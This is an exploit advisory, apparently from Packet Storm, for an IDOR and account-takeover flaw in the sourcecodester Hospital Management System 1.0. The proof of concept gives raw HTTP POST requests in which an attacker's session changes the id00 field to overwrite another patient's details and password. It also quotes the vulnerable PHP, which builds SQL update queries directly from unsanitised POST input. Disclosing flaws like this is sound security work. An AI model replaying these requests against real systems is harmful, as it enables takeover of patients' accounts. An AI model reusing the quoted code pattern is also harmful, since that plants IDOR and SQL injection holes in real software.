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Hospital Management System 1.0 Insecure Direct Object Reference / Account Takeover

Hospital Management System version 1.0 suffers from insecure direct object reference and account takeover vulnerabilities.

Packet Storm
#sql#vulnerability#web#windows#google#php#auth

Exploit Title: Hospital Management System - IDOR + Accaunt Takeover

Google Dork: N/A

Application: Hospital Management System

Date: 27.02.2024

Bugs: IDOR + Accaunt Takeover

Exploit Author: SoSPiro

Vendor Homepage: https://www.sourcecodester.com/

Software Link: https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html

Version: 1.0

Tested on: Windows 10 64 bit Wampserver

CVE : N/A

Vulnerability Description:

This report focuses on two vulnerabilities known as "Insecure Direct Object References (IDOR)" and "Account Takeover". These vulnerabilities occur in a scenario where user input and access privileges validation is inadequate.

Proof of Concept (PoC):

Target User Information:

User 1:
ID: 1
Email: [email protected]
Password: patient


User 2:
ID: 4
Email: attack@ker
Password: q1w2e3


User 1 Request

POST /Vaidya%20Mitra/vm/patient/edit-user.php HTTP/1.1
Host: localhost
Cookie: _ga=GA1.1.2080672900.1708952048; _gid=GA1.1.1833914840.1708952048; PHPSESSID=f6je8gcsm0h685mfr2g37ot8to

id00=1&oldemail=patient%40patient.com&email=patient%40patient.com&name=Mrs.Sunita+Dighe&nic=422201&Tele=9090909091&address=India&password=patient&cpassword=patient

User 2 Request

POST /Vaidya%20Mitra/vm/patient/edit-user.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=4c8per12a8freilu1upich92a4

id00=4&oldemail=attack%40ker&email=attack%40ker&name=attack+attacker&nic=123123123&Tele=0712345677&address=attac&password=q1w2e3&cpassword=q1w2e3

Attacker’s Request

The attacker aims to modify the account details of “patient 1” and sends the following HTTP request:

POST /Vaidya%20Mitra/vm/patient/edit-user.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=4c8per12a8freilu1upich92a4

id00=1&oldemail=patient%40patient.com&email=patient%40patient.com&name=MRRS.Sunita+Dighe&nic=422201&Tele=9090909091&address=attac&password=q1w2e3&cpassword=q1w2e3

In the above SQL queries, the $id value received from the user is directly included in the query and security
checks are not performed. This allows exploiting another user’s information. At the same time, since
the user’s identity is obtained from the POST data, the attacker can pass his identity as another user’s identity.

PoC video: https://www.youtube.com/watch?v=pmoBSnu9IYI

Vulnerable code section:

====================================================

$sql1="update patient set pemail=’$email’,pname=’$name’,ppassword=’$password’,pnic=’$nic’,ptel=’$tele’,paddress=’$address’ where pid=$id ;";
$database->query($sql1);
echo $sql1;
$sql1="update webuser set email=’$email’ where email=’$oldemail’ ;";
$database->query($sql1);
echo $sql1;
====================================================

Risks This security vulnerability exposes user information to unauthorized access and modifications. Consequently, there are potential risks such as account takeover, privacy breaches, and non-compliance with security policies, which can lead to substantial damage and security breaches in the system.

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